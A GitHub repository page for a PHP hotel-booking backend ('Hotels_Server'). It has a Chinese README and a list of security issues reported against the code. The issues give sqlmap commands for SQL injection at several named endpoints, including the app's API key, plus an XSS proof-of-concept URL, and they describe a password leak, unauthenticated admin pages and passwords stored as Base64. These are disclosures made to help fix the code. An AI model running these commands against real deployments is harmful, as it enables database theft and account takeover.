fantasticlbp/hotels_server

酒店预订系统后台管理系统

Hotels_Server

住哪儿项目后台管理系统

住哪儿App的后台管理功能，包括主题酒店、特色酒店发布、注册用户的统计查看、订单的统计查看、酒店的统计查看。Controller目录下的Api下就是给App开发的api。想写api的童鞋们可以看看。

包括php系统开发的常见功能：
• 复杂表单的提交，包括多图片上传
• 基于Bootstrap框架的界面布局
• 封装PDO数据库操作类，实现增删改查等等常见功能，调用简单
• 随机酒店推荐策略
• 多条件模糊搜索酒店算法
• jquery表格插件Datatables的使用大大丰富了数据的展现方式，更具交互性。具有自动分页、模糊搜索等功能
• 封装了Response类，可以传递4个参数 show($code, $message = '', $data = array(), $type = self::JSON)来展示json或者array或者xml。
• 工程结构一幕了然，便于拓展

效果截图

ToDo：后期可能会实现MVC框架优化。客户端接口想实现缓存出来，当客户端请求的数据存在于缓存的时候直接从缓存中读取。

如果有不懂的地方可以加入QQ交流群讨论：515066271。这个QQ群讨论技术范围包括：iOS、H5混合开发、前端开发、PHP开发，欢迎大家讨论技术。

福利，福利

如果想学习客户端开发的同学可以看看这个项目。项目地址：(https://github.com/FantasticLBP/Hotels)

实现了类似艺龙App的预定酒店功能，包括酒店搜索、特色酒店推荐、特惠酒店推荐等等功能，可以预定酒店、查看订单，唯独不能支付（支付功能必须由公司的名义注册，个人练手注册不了）。

包括iOS开发的常见功能：
• 自定义NavigationController实现全屏右滑返回上一控制器
• UICollecionView展现界面
• UITableview上拉加载、下面刷新功能
• Masonry自动布局库的使用
• 封装好的启动欢迎页
• YYModel字典转模型
• 复杂界面的布局
• cell的重用内存优化
• 工程结构一幕了然，便于拓展
• 界面采用代码实现，部分界面采用xib实现。整个代码可读性比较好、代码规范、有注释说明，配合服务端是自己用php写的，Api也是php实现的。
• 主要功能：根据不同主题查找酒店、摇一摇随机推荐酒店、根据城市定位推荐酒店、根据用户输入多条件模糊搜索查找酒店、酒店位置地图显示、路径规划及其导航（百度地图、高德地图、系统地图）、订单查看等、酒店分享等功能

效果截图

本项目包含功能为后端，如有需要客户端或者商业合作请联系本人（QQ/微信：704568245）

hotels_server's Issues

SQL Injection Vulnerability in /controller/api/orderList.php

SQL Injection exists : /controller/api/orderList.php
sqlmap -u "http://10.211.55.10/controller/api/orderList.php?telephone=1&request=1"

author:[email protected]

SQL Injection Vulnerability in /controller/api/Room.php

SQL Injection exists /controller/api/Room.php hotelId
sqlmap -u "http://10.211.55.10/controller/api/Room.php?key=TheHotelReversationApplication&hotelId=1"

author:[email protected]

XSS vulnerability in /api/login.php?parameter

Poc
http://114.116.xxx.xxx/Hotels_Server/controller/api/login.php?telephone=%3Cscript%3Ealert(/xss/)%3C/script%3E

XSS Vulnerability in /view/hotelList.php

In /view/hotelList.php

As you see, there are not any filtration in all ‘echo’s.

Also in /controller/publishHotel.php , these are inserted into database without filtration

After all, we can enjoy XSS

SQL INJECT in url /controller/api/RandomHotel.php

exists sql inject in /controller/api/RandomHotel.php
sqlmap -u "http://10.211.55.10/controller/api/RandomHotel.php?key=TheHotelReversationApplication&city=1"

author:[email protected]

SQL Injection parameter 'password' is vulnerable

GET parameter 'password' appears to be 'MySQL <= 5.0.11 AND time-based blind (heavy query)' injectable
PATH: http://localhost/Hotels_Server/controller/inscheck.php
Poc

.

SQL Injection Vulnerability in /controller/api/Order.php

url /controller/api/Order.php exist SQL Injection
sqlmap -u "http://10.211.55.10/controller/api/Order.php?telephone=1&key=TheHotelReversationApplication&request=1"

author: [email protected]

SQL Injection Vulnerability in /controller/api/RevokeOrder.php

SQL Injection exists /controller/api/RevokeOrder.php
sqlmap -u "http://10.211.55.10/controller/api/RevokeOrder.php?key=TheHotelReversationApplication&city=1&orderId=1"

author:[email protected]

Hotels_Server Password disclosure

Hotels_Server /view/login.php Enter user name unauthenticated user get password
login.php post data to doAction.php user name unauthenticated user get password
code:

language

How can i translate to english

Hotels_Server through 2018-11-05 has SQL Injection via the API.

In /controller/api/login.php
It will receive a parameter called "telephone" to search for existed users.
But in fact,this parameter just become a part of the SQL request without any process,so it will be possible to have a SQL injection.
We can use SQLMAP to test this vulnerability:

During 2021-05-20, Hotels_Server can perform SQL injection through the username parameter.

In /controller/fetchpwd.php
It will receive a parameter called "username" to search for existed users.
But in fact,this parameter just become a part of the SQL request without any process,so it will be possible to have a SQL injection.
We can use SQLMAP to test this vulnerability:

sqlmap -u "http://192.168.31.91/controller/fetchpwd.php" --data "username=1" --dbms mysql -p username

Hotels_Server Unauthorized Access Vulnerability

/view/hotelList.php Unauthorized Access Vulnerability
code:

No user authentication code
visit link ：http://host/view/hotelList.php Can view background data

SQL Injection parameter 'subjectId' is vulnerable

payload url : sqlmap -u "http://10.211.55.10/controller/api/hotelList.php?subjectId=2&key=TheHotelReversationApplication&request=1"

[email protected]

Using of BASE64 Encoding for storage of password and retrieval of password

The application uses B64 encoding for storage of password
Obscuring a password with a trivial encoding does not protect the password.

https://cwe.mitre.org/data/definitions/261.html
https://paragonie.com/blog/2015/08/you-wouldnt-base64-a-password-cryptography-decoded

SQL Injection Vulnerability in controller/fetchpwd.php

In controller/fetchpwd.php

the parameter was added with a string "username=" ,passed to function find

In the definition of function find,we can notice that though the author use PDO, he didn't use Prepared technique to avoid SQL injection vulnerability. What a pity!

After analyzing these codes,we can simply use sqlmap to exploit the vulnerability and have fun!